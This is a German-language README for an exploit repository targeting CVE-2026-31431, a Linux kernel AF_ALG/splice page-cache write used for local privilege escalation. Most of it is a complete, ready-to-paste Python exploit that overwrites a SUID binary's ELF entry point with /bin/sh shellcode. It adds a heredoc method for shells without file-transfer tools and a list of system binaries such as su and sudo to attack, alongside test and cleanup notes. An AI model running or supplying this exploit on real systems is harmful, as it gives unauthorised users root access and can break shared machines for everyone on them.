
CVE-2026-31431 Copy Fail — Universeller LPE-Exploit. Dynamischer ELF-Offset + vollständige Binärüberschreibung, Python 2/3-kompatibel mit ctypes-Splice-Fallback
Linux-Kernel-Page-Cache 4-Byte-Arbitrary-Write → Lokale Privilegieneskalation
Mehrere Exploit-Ansätze: dynamische ELF-Einstiegspunkt-Überschreibung, vollständiger Binärersatz, Python 3.x-kompatibel mit ctypes-splice-Fallback.
CVE-2026-31431 ist eine Schwachstelle im AF_ALG-Krypto-Subsystem des Linux-Kernels. Durch Missbrauch von splice() + authencesn-In-Place-Entschlüsselung kann ein unprivilegierter Benutzer 4 Bytes an einer beliebigen Offset-Position im Page Cache des Kernels schreiben — demselben Cache, der für alle dateigestützten Speicherbereiche verwendet wird.
Das bedeutet:
Dieses Repository bietet drei Werkzeuge, die dieselbe AF_ALG-Copy-Fall-Primitive verwenden:
| Dynamischer Einstiegspunkt | Vollständiger Binärersatz | Schwachstellen-Checker | |
|---|---|---|---|
| Datei | exploit.py | poc_compatible.py | check_cve.sh |
| Strategie | Überschreibt ELF-Einstiegspunkt mit Shellcode | Ersetzt die gesamte Binärdatei ab Offset 0 | Testet, ob das Ziel verwundbar ist |
| Ziel | Beliebige x86_64-SUID-Binärdatei | Beliebige Binärdatei (SUID oder nicht) | N/A |
| Python | 3.x (alle Versionen) | 2 / 3 | Bash |
| Payload | 36 Bytes Shellcode | zlib-komprimiertes vollständiges ELF | N/A |
| Autor | Diese Arbeit | h4ppy7ree | h4ppy7ree |
Dynamischer Einstiegspunkt — Analysiert den ELF-Header zur Laufzeit, um den Datei-Offset des Einstiegspunkts zu berechnen (p_offset + (e_entry - p_vaddr)), und schreibt dann einen kleinen Shellcode-Stub. Keine fest codierten Offsets — ein Skript funktioniert mit jeder x86_64-SUID-Binärdatei, unabhängig von Distribution oder Version.
Vollständiger Binärersatz — Überschreibt das Ziel ab Offset 0 mit einem vollständigen, vorgefertigten ELF-Payload (zlib-komprimiert und im Skript eingebettet). Kann nicht-SUID-Binärdateien angreifen, die von privilegierten Prozessen ausgeführt werden (Cron-Jobs, systemd-Dienste, kube-proxy). Funktioniert mit Python 2.
Schwachstellen-Checker — Testet, ob das Zielsystem über AF_ALG, authencesn und algif_aead verfügt, bevor ein Exploit ausgeführt wird.
exploit.py; Python 2 wird über poc_compatible.py unterstützt)/usr/bin/su, /usr/bin/sudo, usw.)# Testcontainer mit unprivilegiertem Benutzer erstellen
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
Dann im Container als testuser:
# Vorher: setuid(0) schlägt fehl, da die reale UID nicht 0 ist
/usr/local/bin/verify
# uid=1000 euid=0
# (beendet normal, kein Root)
# Exploit ausführen
python3 exploit.py /usr/local/bin/verify
# Nachher: Einstiegspunkt überschrieben, Shellcode erhält Root
# uid=0(root) gid=1000(testuser)
In realen Szenarien hat man oft nur eine nackte Shell — kein scp, kein curl, kein wget. Diese Methode verwendet cat-Heredoc, um den Exploit direkt im Terminal zu schreiben:
# Option 1: Shell-Skript ausführen
sh exploit-one-liner.sh /usr/local/bin/verify
# Option 2: direkt ins Terminal einfügen (gesamten Block kopieren)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
Warum das wichtig ist: Container-Umgebungen fehlen oft Dateitransfer-Werkzeuge (
scp,curl,wget). Die Heredoc-Methode benötigt nurcatundpython3— überall verfügbar.
Sie können /usr/local/bin/verify durch jede SUID-root-Binärdatei ersetzen:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ Warnung: Das Angreifen von System-SUID-Binärdateien (wie
/usr/bin/su) betrifft alle Benutzer auf dem System. Die Binärdatei wird unbrauchbar, bis der Page Cache geleert wird. Auf dem Host-Rechner würde jeder Benutzer, dersuausführt, eine Root-Shell erhalten.Auf einem gemeinsam genutzten/Produktionssystem ist dies sofort bemerkbar —
suwird abstürzen oder unerwartete Shells für alle erzeugen. Verwenden Sieverify.cfür sichere Tests.
Der Exploit modifiziert nur den Page Cache (Speicher), nicht die Festplatte. Wiederherstellungsoptionen:
| Methode | Wo | Befehl |
|---|---|---|
| Page Cache leeren | Host (root) | echo 3 > /proc/sys/vm/drop_caches |
| Neustart | Überall | reboot — Page Cache ist flüchtig |
| Container zerstören | Überall | docker rm — Page Cache wird mit dem Container freigegeben |
# Auf dem Host (nach Container-Tests):
echo 3 | sudo tee /proc/sys/vm/drop_caches